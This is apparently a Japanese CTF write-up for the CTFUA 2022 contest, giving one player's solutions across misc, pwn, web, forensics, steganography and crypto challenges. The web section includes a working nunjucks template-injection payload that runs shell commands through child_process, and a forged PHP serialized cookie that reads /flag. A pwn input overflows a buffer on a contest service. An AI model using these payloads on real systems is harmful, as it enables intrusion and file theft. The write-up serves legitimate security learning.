この大会は2022/5/23 18:00(JST)~2022/5/28 9:00(JST)に開催されました。
今回は久々に一人チームで参戦。結果は2202点で475チーム中38位でした。
自分で解けた問題をWriteupとして書いておきます。
NotHiNorLo (Misc)
$ strings -n 2 challenge | grep -A 5 CTFUA CTFUA{bRH u73_f0rcH 3_w0rks_H s0m3t1m3H s} Hc
CTFUA{bRu73_f0rc3_w0rks_s0m3t1m3s}
Discord (Misc)
Discordに入り、#randomチャネルのトピックを見ると、フラグが書いてあった。
CTFUA{congratz_YoU_f0und_th3_d1sc0rd}
Credit Score (Misc)
問題の数字をASCIIコードとして文字にする。
76 117 104 110 → Luhn
Luhnアルゴリズムというのがあるらしい。https://ja.wikipedia.org/wiki/Luhn%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0#:~:text=Luhn%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0%EF%BC%88Luhn%20algorithm%2C%20%E3%83%AB%E3%83%BC%E3%83%B3,MOD%2D10%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0%E3%81%A8%E3%82%82%E3%80%82
にチェックするPythonコードもあるので、流用して妥当なカードナンバーの合計値を算出する。
#!/usr/bin/env python3 def check_number(digits): _sum = 0 alt = False for d in reversed(digits): assert 0 <= d <= 9 if alt: d *= 2 if d > 9: d -= 9 _sum += d alt = not alt return (_sum % 10) == 0 with open('numbers.txt', 'r') as f: numbers = f.read().splitlines() sum = 0 for number in numbers: digits = [int(n) for n in number] if check_number(digits): sum += int(number) flag = 'CTFUA{%d}' % sum print(flag)
CTFUA{4363233915970}
Badass quotes (Pwn)
BOFでquoteの32バイトを埋めた後に"BaDaSs I Am"を指定すればフラグが表示される。
$ nc cybersecweek.ua.pt 2010 I CaN HaS BaDaSs QuOtE? # AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaDaSs I Am CTFUA{!YoU_Ar3_B4dAss!} ,_ _ |\_,-~/ / _ _ | ,--. ( @ @ ) / ,-' _T_/-._( ( / `. | _ | , / | || |-___ / ((_/`(____,-'
CTFUA{!YoU_Ar3_B4dAss!}
Hidden (Reverse)
関数名や変数名がわかりにくくなっている。比較している箇所を見ると、入力文字列とquack_quack_IΙΙI1I ()の結果を比較していることがわかる。quack_quack_IΙΙI1I ()は固定文字列なので、出力してみると、"1312520"であることがわかる。
$ python3 hidden.py Hi! Im looking for a number, any number... 1312520 CTFUA{n0tall0bfusc4t10ni5go0d}
CTFUA{n0tall0bfusc4t10ni5go0d}
Penguim - (De)Serial Killer (Web)
hogeaアカウントを作成し、ログインする。Cookieのuserに以下が設定されている。
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImhvZ2VhIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6MzE6Ii92YXIvd3d3L2h0bWwvYXZhdGFyL2F2YXRhci5qcGciO3M6MTE6InByb2ZpbGVfcGljIjtOO30%3D
$ echo Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImhvZ2VhIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6MzE6Ii92YXIvd3d3L2h0bWwvYXZhdGFyL2F2YXRhci5qcGciO3M6MTE6InByb2ZpbGVfcGljIjtOO30= | base64 -d O:4:"User":3:{s:8:"username";s:5:"hogea";s:12:"picture_path";s:31:"/var/www/html/avatar/avatar.jpg";s:11:"profile_pic";N;}
PHP Object Injection Attackの問題のようだ。picture_pathに"/flag"を指定し、シリアライズする。
$ cat solve.php <?php class User { public $username; public $picture_path; public $profile_pic; public function __construct($name, $path) { $this->username = $name; $this->picture_path = $path; } public function __wakeup() { $this->profile_pic = file_get_contents($this->picture_path); } } $user = new User("admin", "/flag"); $user_obj = base64_encode(serialize($user)); echo $user_obj; ?> $ php solve.php Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6NToiL2ZsYWciO3M6MTE6InByb2ZpbGVfcGljIjtOO30=
以下をCookieのuserに設定し、リロードする。
Tzo0OiJVc2VyIjozOntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjEyOiJwaWN0dXJlX3BhdGgiO3M6NToiL2ZsYWciO3M6MTE6InByb2ZpbGVfcGljIjtOO30%3D
HTMLソースを見ると、こうなっている。
<!doctype html> <html> <head> <title>Penguin (De)Serial Killer</title> </head> <body> <h1>Homepage</h1> <img src="data:image/jpeg;base64,Q1RGVUF7cEhwX3VuczNyMWFsaVplX2sxbmd9Cg=="> <form method='post' action=""> <input type="submit" value="Logout" name="logout"> </form> </body> </html>
$ echo Q1RGVUF7cEhwX3VuczNyMWFsaVplX2sxbmd9Cg== | base64 -d CTFUA{pHp_uns3r1aliZe_k1ng}
CTFUA{pHp_uns3r1aliZe_k1ng}
SunSet introspecTIon (Web)
Usernameに"a"と入力し、[Enter]キーを押すと、以下のURLに遷移し、"Hello a!"と表示される。
http://cybersecweek.ua.pt:2003/display?payload=a
http://cybersecweek.ua.pt:2003/display?payload={{7*7}}にアクセスすると、以下のように表示される。
Hello 49!
SSTIの問題のようだ。http://cybersecweek.ua.pt:2003/display?payload={{config.items()}}にアクセスすると、エラーになる。
Template render error: (unknown path) [Line 24, Column 40] Error: Unable to call `config["items"]`, which is undefined or falsey at Object._prettifyError (/app/node_modules/nunjucks/src/lib.js:36:11) at /app/node_modules/nunjucks/src/environment.js:563:19 at Template.root [as rootRenderFunc] (eval at _compile (/app/node_modules/nunjucks/src/environment.js:633:18), <anonymous>:19:3) at Template.render (/app/node_modules/nunjucks/src/environment.js:552:10) at Environment.renderString (/app/node_modules/nunjucks/src/environment.js:380:17) at Object.renderString (/app/node_modules/nunjucks/index.js:99:14) at /app/index.js:11:23 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:144:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:114:3)
nunjucksを使っているようだ。以下のURLにアクセスすると、フラグが表示された。
http://cybersecweek.ua.pt:2003/display?payload={{range.constructor("return global.process.mainModule.require('child_process').execSync('cat /app/flag')")()}}
Username Hello CTFUA{sSt1_nInj4_nuNjuck5} !
CTFUA{sSt1_nInj4_nuNjuck5}
Go, Land and Run (web)
指定したURLのページを読み取るWebページ。file:///flagを指定すると、フラグが表示された。
CTFUA{Inj3ct1ng_Comm4nDs_l1ke_A_b055}
So close but so far (Forensics)
$ cd .git $ xxd -g 1 index 00000000: 44 49 52 43 00 00 00 02 00 00 00 01 62 57 61 14 DIRC........bWa. 00000010: 00 0c 22 3f 62 57 61 14 00 0c 22 3f 01 00 00 11 .."?bWa..."?.... 00000020: 01 bf f3 7f 00 00 81 a4 00 00 01 f5 00 00 00 14 ................ 00000030: 00 00 00 d5 52 2e 57 12 c8 d0 4f e9 38 80 88 e7 ....R.W...O.8... 00000040: db c6 a7 ed cc e4 58 84 00 08 74 68 69 65 66 2e ......X...thief. 00000050: 70 79 00 00 54 52 45 45 00 00 00 19 00 31 20 30 py..TREE.....1 0 00000060: 0a 7d eb b0 3e b3 d9 72 18 90 09 69 d4 be f0 2b .}..>..r...i...+ 00000070: 3c 4a 6b 96 0c 89 57 7f c1 2e 3d a4 fe fd 15 8f <Jk...W...=..... 00000080: ad 5b b1 a5 50 33 c7 20 41 .[..P3. A $ python -c 'import zlib; print zlib.decompress(open("objects/52/2e5712c8d04fe9388088e7dbc6a7edcce45884").read())' blob 213import requests url = 'https://juhaadrmihxlp77nkq712yazcldwshs3fod3ulmovfu2edibsot4csyd.onion/' user, password = '', '' resp = requests.get(url, auth=(user, password)) print(resp) # i need to save this somewhere $ cat logs/refs/heads/master 0000000000000000000000000000000000000000 9fff15ee8e7e72e507e6e884b7f9610cf64a08fc João Almeida <joao.rafael.almeida@ua.pt> 1649892943 +0100 commit (initial): first commit 9fff15ee8e7e72e507e6e884b7f9610cf64a08fc 3e00ad0e8f02c06f0fe331f3d325ed46f357992e João Almeida <joao.rafael.almeida@ua.pt> 1649893056 +0100 commit: now it is easy 3e00ad0e8f02c06f0fe331f3d325ed46f357992e b7d9246a19777dca5ac6d2ca9ffc73899e448651 João Almeida <joao.rafael.almeida@ua.pt> 1649893083 +0100 commit: clean evidences $ python -c 'import zlib; print zlib.decompress(open("objects/9f/ff15ee8e7e72e507e6e884b7f9610cf64a08fc").read())' commit 195tree 2ce901143395c11ac82d38b1731dafa7449b7626 author João Almeida <joao.rafael.almeida@ua.pt> 1649892943 +0100 committer João Almeida <joao.rafael.almeida@ua.pt> 1649892943 +0100 first commit $ python -c 'import zlib; print zlib.decompress(open("objects/2c/e901143395c11ac82d38b1731dafa7449b7626").read())' | xxd -g 1 00000000: 74 72 65 65 20 34 30 00 31 30 30 36 34 34 20 66 tree 40.100644 f 00000010: 61 6b 65 66 6c 61 67 2e 74 78 74 00 e6 9d e2 9b akeflag.txt..... 00000020: b2 d1 d6 43 4b 8b 29 ae 77 5a d8 c2 e4 8c 53 91 ...CK.).wZ....S. 00000030: 0a . $ python -c 'import zlib; print zlib.decompress(open("objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391").read())' blob 0 $ python -c 'import zlib; print zlib.decompress(open("objects/3e/00ad0e8f02c06f0fe331f3d325ed46f357992e").read())' commit 245tree 7f60f7b7f4c20b4968a69b06953d5f3ca200742b parent 9fff15ee8e7e72e507e6e884b7f9610cf64a08fc author João Almeida <joao.rafael.almeida@ua.pt> 1649893056 +0100 committer João Almeida <joao.rafael.almeida@ua.pt> 1649893056 +0100 now it is easy $ python -c 'import zlib; print zlib.decompress(open("objects/7f/60f7b7f4c20b4968a69b06953d5f3ca200742b").read())' | xxd -g 1 00000000: 74 72 65 65 20 33 36 00 31 30 30 36 34 34 20 66 tree 36.100644 f 00000010: 6c 61 67 2e 74 78 74 00 39 10 4d 8d 48 95 b5 7c lag.txt.9.M.H..| 00000020: d6 63 5f a4 64 d8 4c a8 6f 64 6f dc 0a .c_.d.L.odo.. $ python -c 'import zlib; print zlib.decompress(open("objects/39/104d8d4895b57cd6635fa464d84ca86f646fdc").read())' blob 24CTFUA{g1t_h00ks_4r3_fun}
CTFUA{g1t_h00ks_4r3_fun}
Digging for something (Forensics)
8.8.8.8へのdns通信パケットの問い合わせホスト名(4文字)があやしいので、書き出す。
Q1RG VUF7 c0g0 cjFu Z19k NHRB X3cx VGhf RG5T X3F1 M3Ix ZXN9
連結し、base64デコードする。
$ echo Q1RGVUF7c0g0cjFuZ19kNHRBX3cxVGhfRG5TX3F1M3IxZXN9 | base64 -d CTFUA{sH4r1ng_d4tA_w1Th_DnS_qu3r1es}
CTFUA{sH4r1ng_d4tA_w1Th_DnS_qu3r1es}
Binwalk Blue (Steg)
$ binwalk Binwalk.png DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 1336 x 886, 8-bit/color RGB, non-interlaced 179 0xB3 Zlib compressed data, best compression 2133180 0x208CBC PNG image, 1640 x 664, 4-bit colormap, non-interlaced 2133282 0x208D22 Zlib compressed data, default compression
PNGの後ろにPNGがくっついているので、切り出す。切り出した画像は真っ白な状態。StegSolveでBlue plane 0を見ると、フラグが現れた。
CTFUA{t328_3Ht_2I_Kl4wN1B}
Common modulus numbers (Crypto)
Common Modulus Attackで復号する。復号すると、逆順のフラグになるので、逆順にして戻す。
#!/usr/bin/env python3 import gmpy2 from Crypto.Util.number import * def commom_world(c1, c2, e1, e2, n): gcd, s1, s2 = gmpy2.gcdext(e1, e2) if s1 < 0: s1 = -s1 c1 = gmpy2.invert(c1, n) elif s2 < 0: s2 = -s2 c2 = gmpy2.invert(c2, n) v = pow(c1, s1, n) w = pow(c2, s2, n) x = (v*w) % n return x with open('challenge.txt', 'r') as f: lines = f.read().splitlines() N = int(lines[0].split('=')[1]) e1 = int(lines[1].split('=')[1]) e2 = int(lines[2].split('=')[1]) C1 = int(lines[3].split('=')[1]) C2 = int(lines[4].split('=')[1]) m = commom_world(C1, C2, e1, e2, N) flag = long_to_bytes(m)[::-1].decode() print(flag)
CTFUA{CmOn_BrUh_SaMe_MoDuLuS}
Blind Soldier (Crypto)
点字になっているので、https://www.dcode.fr/braille-alphabetでデコードする。
⠉⠓⠁⠗⠇⠊⠑⠀⠞⠁⠝⠛⠕⠀⠋⠕⠭⠞⠗⠕⠞⠀⠥⠝⠊⠋⠕⠗⠍⠀⠁⠇⠋⠁⠀{⠞⠓⠗⠑⠑⠀⠝⠕⠧⠑⠍⠃⠑⠗⠀⠉⠓⠁⠗⠇⠊⠑⠀⠗⠕⠍⠑⠕⠀⠽⠁⠝⠅⠑⠑⠀⠏⠁⠏⠁⠀⠞⠁⠝⠛⠕⠀⠞⠓⠗⠑⠑⠀⠙⠑⠇⠞⠁⠀⠉⠕⠍⠍⠁⠀⠸⠞⠁⠝⠛⠕⠀⠓⠕⠞⠑⠇⠀⠕⠝⠑⠀⠎⠊⠑⠗⠗⠁⠀⠸⠊⠝⠙⠊⠁⠀⠎⠊⠑⠗⠗⠁⠀⠸⠝⠕⠧⠑⠍⠃⠑⠗⠀⠵⠑⠗⠕⠀⠞⠁⠝⠛⠕⠀} CHARLIE TANGO FOXTROT UNIFORM ALFA {THREE NOVEMBER CHARLIE ROMEO YANKEE PAPA TANGO THREE DELTA COMMA _TANGO HOTEL ONE SIERRA _INDIA SIERRA _NOVEMBER ZERO TANGO}
数字の英語は数字に、それ以外は頭文字をとる。
CTFUA{3NCRYPT3D,_TH1S_IS_N0T}
A Computer's Best Friend (Crypto)
2進数8桁が並んでいるので、デコードする。さらに8進数が並んでいるので、デコードする。次に16進数になるので、デコードする。次にbase32文字列になるので、デコードする。最後にbase64文字列になるので、デコードする。これでフラグになる。
#!/usr/bin/env python3 from base64 import * with open('criptograma.txt', 'r') as f: enc = f.read().rstrip().split(' ') msg = '' for c in enc: msg += chr(int(c, 2)) print('[+] msg:', msg) enc = msg.split(' ') msg = '' for c in enc: msg += chr(int(c, 8)) print('[+] msg', msg) msg = bytes.fromhex(msg) print('[+] msg:', msg.decode()) msg = b32decode(msg) print('[+] msg:', msg.decode()) flag = b64decode(msg) print('[*] flag:', flag.decode())
実行結果は以下の通り。
[+] msg: 64 142 64 65 65 71 65 66 64 65 65 62 63 62 65 67 64 142 65 66 64 64 64 64 64 146 65 141 64 64 64 142 64 141 65 141 64 141 65 67 64 142 65 66 65 62 65 141 64 142 65 62 64 70 64 65 64 146 65 67 64 143 63 62 64 143 64 61 65 141 64 64 64 63 65 66 65 63 65 62 64 67 64 141 65 65 64 67 64 144 65 64 64 141 65 63 64 67 65 66 65 66 64 65 63 62 65 62 63 62 65 62 65 60 64 141 64 145 64 65 65 61 64 144 64 62 63 65 [+] msg 4b455956455232574b5644444f5a444b4a5a4a574b56525a4b5248454f574c324c415a4443565352474a55474d544a534756564532523252504a4e45514d4235 [+] msg: KEYVER2WKVDDOZDKJZJWKVRZKRHEOWL2LAZDCVSRGJUGMTJSGVVE2R2RPJNEQMB5 [+] msg: Q1RGVUF7djNSeV9TNGYzX21VQ2hfM25jMGQzZH0= [*] flag: CTFUA{v3Ry_S4f3_mUCh_3nc0d3d}
CTFUA{v3Ry_S4f3_mUCh_3nc0d3d}
The Well of Chaos (Crypto)
4バイトごとに2413の順で並んでいるので、元に戻す。
#!/usr/bin/env python3 ct = 't,bwhr e\' esoryufa l:Cg FATUYd{0Hs440hNtnO1gM}n3' msg = '' for i in range(0, len(ct), 4): c = ct[i:i+4] msg += c[2] + c[0] + c[3] + c[1] print(msg)
復号結果は以下の通り。
btw, here's your flag: CTFUA{Y0d4H4sN0th1ngOnM3}
CTFUA{Y0d4H4sN0th1ngOnM3}
The Alloy of Letters (Crypto)
使われている文字はすべてASCIIコードで126以下。ブルートフォースでシフトして復号する。
#!/usr/bin/env python3 def is_printable(s): for c in s: if c < 32 or c > 126: if c != 10: return False return True with open('flag.txt', 'rb') as f: enc = f.read() for k in range(127): dec = b'' for c in enc: dec += bytes([(c - k) % 127]) if is_printable(dec): print(dec.decode()) break
復号結果は以下の通り。
So, you found out how to decryot this? Here's your flag, you deserve it: CTFUA{L3tt3rFrequ3ncyMyB3l0v3d} Now let me tell you what this course can do.. for you! :
CTFUA{L3tt3rFrequ3ncyMyB3l0v3d}